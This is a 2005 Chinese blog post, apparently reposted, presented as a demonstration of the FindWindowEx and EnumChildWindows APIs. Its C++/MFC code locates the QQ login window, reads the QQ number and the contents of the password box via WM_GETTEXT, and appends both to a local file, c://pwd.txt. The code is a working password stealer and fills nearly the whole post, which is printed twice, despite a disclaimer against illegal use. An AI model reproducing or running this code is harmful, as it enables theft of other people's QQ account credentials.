截取其他程序文本框和密码框内容的一种实现方法
2005-03-08 18:22
585 查看
关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以现在最为流行的qq为例,只抛砖引玉~~呵呵
申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播/复制,但不得用做其他非法用途,否则责任自负.
BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)
{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
char num[11];//qq号码
char pwd[20];//qq密码
BOOL b = true;
HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
//以下循环是得到密码框句柄
HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND AfterHwnd = NULL;
while(b)
{
LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西
if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框
{
b=false;
}
else
{
AfterHwnd = EditPWDHwnd;
EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return true;
}
//通过WM_GETTEXT取得,窗口中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//记录号码和密码
CString str;
str.Format("/r/n号码:%s 密码:%s",num,pwd);
CFile f;
f.Open("c://pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
f.SeekToEnd();
f.Write(str,str.GetLength());
bLoop= false;
return false;
return TRUE;
}
BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
{ //这个回调函数就是用来找到qq窗口句柄
char strTitle[80];
if(::GetWindowText(hwndChild,strTitle,80))
if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到
{
bFindqq = true;
return false;
}
return TRUE;
}
//调用的代码:
HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
HWND AfterHwnd = NULL;
while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口
{
hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
if(!hwnd)
break;
AfterHwnd = hwnd;
EnumChildWindows(hwnd,EnumChildProc,NULL);
if(bFindqq)
qqHwnd = hwnd;
}
if(bFindqq)
EnumChildWindows(hwnd,EnumqqChildProc,NULL);
申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播/复制,但不得用做其他非法用途,否则责任自负.
BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)
{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
char num[11];//qq号码
char pwd[20];//qq密码
BOOL b = true;
HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
//以下循环是得到密码框句柄
HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND AfterHwnd = NULL;
while(b)
{
LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西
if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框
{
b=false;
}
else
{
AfterHwnd = EditPWDHwnd;
EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return true;
}
//通过WM_GETTEXT取得,窗口中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//记录号码和密码
CString str;
str.Format("/r/n号码:%s 密码:%s",num,pwd);
CFile f;
f.Open("c://pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
f.SeekToEnd();
f.Write(str,str.GetLength());
bLoop= false;
return false;
return TRUE;
}
BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
{ //这个回调函数就是用来找到qq窗口句柄
char strTitle[80];
if(::GetWindowText(hwndChild,strTitle,80))
if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到
{
bFindqq = true;
return false;
}
return TRUE;
}
//调用的代码:
HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
HWND AfterHwnd = NULL;
while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口
{
hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
if(!hwnd)
break;
AfterHwnd = hwnd;
EnumChildWindows(hwnd,EnumChildProc,NULL);
if(bFindqq)
qqHwnd = hwnd;
}
if(bFindqq)
EnumChildWindows(hwnd,EnumqqChildProc,NULL);
相关文章推荐
- 截取其他程序文本框和密码框内容的一种实现方法
- 截取其他程序文本框和密码框内容的一种实现方法
- 一种简单的方法在程序中实现透明效果(JAVA)(源代码)
- 非MFC程序TRACE和ASSERT宏的一种实现方法
- 一种用C语言实现的打印程序源码的方法
- js实现文本框中输入文字页面中div层同步获取文本框内容的方法
- js实现文本框中输入文字页面中div层同步获取文本框内容的方法
- 密码框失去焦点且为空时显示汉字“密码”、获取焦点时输入内容显示为密码“**********”的实现方法
- jQuery实现选中弹出窗口选择框内容后赋值给文本框的方法
- jQuery实现选中弹出窗口选择框内容后赋值给文本框的方法
- iphone程序中实现截屏的一种方法
- iphone程序中实现截屏的一种方法
- 一种简单的方法在程序中实现透明效果(JAVA)
- 在iphone程序中实现截屏的一种方法
- c#实现程序启动唯一实例的一种方法
- 本文给出了一种方便实用的解决大文件的读取、存储等处理的方法,并结合相关程序代码对具体的实现过程进行了介绍
- 嵌入式程序开发中一种实现state machine的方法
- 如何:使用 Windows 窗体 TextBox 控件创建密码文本框 .NET Framework 2.0 其他版本 密码框是一种 Windows 窗体文本框,它在用户键入字符串时显示占位符。 创
- C#实现程序启动唯一实例的一种方法
- 解决C# 截取当前程序窗口指定位置截图的实现方法